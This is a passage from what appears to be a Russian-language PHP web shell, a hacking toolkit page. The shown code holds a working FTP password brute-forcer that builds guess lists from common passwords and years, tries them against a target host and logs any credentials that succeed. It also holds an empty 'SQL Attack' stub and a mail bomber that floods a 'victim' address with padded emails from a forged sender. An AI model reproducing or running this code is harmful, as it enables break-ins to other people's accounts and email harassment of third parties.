  894. $cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
    895. 

  895. $cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
    896. 

  896. 

  897. function randword() {
    898. 

  898.    global $cool;
    899. 

  899.    $func="name".mt_rand(0,11);
    900. 

  900.    $func2="name".mt_rand(0,11);
    901. 

  901.    switch (mt_rand(0,11)) {
    902. 

  902.       case 0: return $func().mt_rand(5,99);
    903. 

  903.       case 1: return $func()."-".$func2();
    904. 

  904.       case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
    905. 

  905.       case 3: return $func()."!".$func();
    906. 

  906.       case 4: return randpass(mt_rand(5,12));
    907. 

  907.       default: return $func();
    908. 

  908.    }
    909. 

  909.  
    910. 

  910.  
    911. 

  911. }
    912. 

  912. 

  913. function randpass($len) {
    914. 

  914.    $word="qwertyuiopasdfghjklzxcvbnm1234567890";
    915. 

  915.    $s="";
    916. 

  916.    for ($i=0; $i<$len; $i++) {
    917. 

  917.       $s.=$word[mt_rand(0,strlen($word)-1)];
    918. 

  918.    }
    919. 

  919.    return $s;
    920. 

  920. }
    921. 

  921. if (@unlink("pass.txt") < 0){
    922. 

  922. echo "ничего нет";
    923. 

  923. exit;
    924. 

  924. }
    925. 

  925. $file="pass.txt"; 
    926. 

  926. if($file && $host && $login){
    927. 

  927.    $cn=mt_rand(30,30);
    928. 

  928. for ($i=0; $i<$cn; $i++) {
    929. 

  929.    $s=$cool2[$i];
    930. 

  930.    $f=@fopen(pass.".txt","a+");
    931. 

  931.    fputs($f,"$s\n");
    932. 

  932.    }
    933. 

  933.  
    934. 

  934.   $cnt2=mt_rand(43,43);
    935. 

  935. for ($i=0; $i<$cnt2; $i++) {
    936. 

  936.    $r=$cool[$i];
    937. 

  937.    $f=@fopen(pass.".txt","a+");
    938. 

  938.    fputs($f,"$login$r\n");
    939. 

  939. }    
    940. 

  940. $p="$testing";
    941. 

  941.    $f=@fopen(pass.".txt","a+");
    942. 

  942.    fputs($f,"$p\n");
    943. 

  943.    
    944. 

  944.  $cnt3=mt_rand($number,$number);
    945. 

  945.    for ($i=0; $i<$cnt3; $i++) {
    946. 

  946.    $u=randword();
    947. 

  947.    $f=@fopen(pass.".txt","a+");
    948. 

  948.    fputs($f,"$u\n");
    949. 

  949.   } 
    950. 

  950.   
    951. 

  951.   if(is_file($file)){
    952. 

  952.  $passwd=file($file,1000);
    953. 

  953.   for($i=0; $i<count($passwd); $i++){
    954. 

  954.    $stop=false;
    955. 

  955.    $password=trim($passwd[$i]);
    956. 

  956.    $open_ftp=@fsockopen($host,21);
    957. 

  957.     if($open_ftp!=false){
    958. 

  958.      fputs($open_ftp,"user $login\n");
    959. 

  959.      fputs($open_ftp,"pass $password\n");
    960. 

  960.      while(!feof($open_ftp) && $stop!=true){
    961. 

  961.       $text=fgets($open_ftp,4096);
    962. 

  962.       if(preg_match("/230/",$text)){
    963. 

  963.        $stop=true;
    964. 

  964. 	   $f=@fopen($host._ftp,"a+");
    965. 

  965.        fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n ");
    966. 

  966. 

  967.        echo "
    968. 

  968. 	   	<TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center>
    969. 

  969. <tr><td align=center class=pagetitle><b><font color=\"blue\">Поздравляю!!! Пароль подобран.</font></b><br>
    970. 

  970. &nbsp;&nbsp;Коннект: <b>$host</b><br>&nbsp;&nbsp;Логин: <b>$login</b><br>&nbsp;&nbsp;Пароль: <b>$password</b></td></tr></table>
    971. 

  971. ";exit;
    972. 

  972.       }
    973. 

  973.       elseif(preg_match("/530/",$text)){
    974. 

  974.        $stop=true;
    975. 

  975.       
    976. 

  976.       }
    977. 

  977.      }
    978. 

  978.      fclose($open_ftp);
    979. 

  979.    }else{
    980. 

  980.     echo "
    981. 

  981. 	<TABLE CELLPADDING=0 CELLSPACING=0  width=500 align=center>
    982. 

  982. <tr><td align=center class=pagetitle bgcolor=#FF0000><b>Неверно указан ftp хостинга!!! На <b><u>$host</u></b> закрыт 21 порт!</b></b></td></tr>
    983. 

  983. </table>
    984. 

  984. ";exit;
    985. 

  985.    }
    986. 

  986.   }
    987. 

  987.  }
    988. 

  988. }
    989. 

  989. 

  990. 

  991. break;
    992. 

  992. // SQL Attack
    993. 

  993. case "sql":
    994. 

  994. 

  995. break;
    996. 

  996. 

  997. 

  998. 

  999. 

  1000. 

  1001. 

  1002. // MailFlud
    1003. 

  1003. case "mailfluder":
    1004. 

  1004. 

  1005. $email=$_POST['email']; // Мыло жертвы
    1006. 

  1006. $from=$_POST['from']; // Мыло жертвы
    1007. 

  1007. $num=$_POST['num']; // Число писем
    1008. 

  1008. $text=$_POST['text']; // Текст флуда
    1009. 

  1009. $kb=$_POST['kb']; // Вес письма (kb)
    1010. 

  1010. ?>
    1011. 

  1011. <script language="JavaScript"><!--
    1012. 

  1012. function reset_form() {
    1013. 

  1013. document.forms[0].elements[0].value="";
    1014. 

  1014. document.forms[0].elements[1].value="";
    1015. 

  1015. document.forms[0].elements[2].value="";
    1016. 

  1016. document.forms[0].elements[3].value="";
    1017. 

  1017. document.forms[0].elements[4].value="";
    1018. 

  1018. }
    1019. 

  1019. //--></script>
    1020. 

  1020. <?php
    1021. 

  1021. if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) {
    1022. 

  1022. 

  1023. $num_text=strlen($text)+1; // Определяет длину текста + 1 (пробел в конце)
    1024. 

  1024. $num_kb=(1024/$num_text)*$kb;
    1025. 

  1025. $num_kb=ceil($num_kb);
    1026. 

  1026. 

  1027. for ($i=1; $i<=$num_kb; $i++) {
    1028. 

  1028. $msg=$msg.$text." ";
    1029. 

  1029. }
    1030. 

  1030. 

  1031. for ($i=1; $i<=$num; $i++) {
    1032. 

  1032. mail($email, $text, $msg, "From: $from");
    1033. 

  1033. }
    1034. 

  1034. 

  1035. $all_kb=$num*$kb;
    1036. 

  1036. 

  1037. echo <<<EOF
    1038. 

  1038. <p align="center">Жертва: <b>$email</b><br>
    1039. 

  1039. Кол-во писем: <b>$num</b><br>
    1040. 

  1040. Общий посланный объем: <b>$all_kb kb</b><br></p>
    1041. 

  1041. EOF;
    1042. 

  1042. 

  1043. }
    1044. 

  1044. 

  1045. else {
    1046. 

  1046. 

  1047. echo <<<EOF
    1048. 

  1048. <form action="?ac=mailfluder" method="post">
    1049. 

  1049. <table align="center" border="0" bordercolor="#000000">
    1050. 

  1050. <tr><td>Мыло жертвы</td><td><input type="text" name="email" value="to@mail.com" size="25"></td></tr>
    1051. 

  1051. <tr><td>От липового мыла</td><td><input type="text" name="from" value="support@mail.com" size="25"></td></tr>
    1052. 

  1052. <tr><td>Число писем</td><td><input type="text" name="num" value="5" size="25"></td></tr>
    1053. 

  1053. <tr><td>Текст флуда</td><td><input type="text" name="text" value="fack fack fack" size="25"></td></tr>
    1054. 

  1054. <tr><td>Вес письма (KB)</td><td><input type="text" name="kb" value="10" size="25"></td></tr>
    1055. 

  1055. <tr><td colspan="2" align="center"><input type="submit">&nbsp;&nbsp;<input type="button" onclick="reset_form()" value="Reset"></td></tr>
    1056. 

  1056. </table>
    1057. 

  1057. </form>…
    1058.

Large files files are truncated, but you can click here to view the full file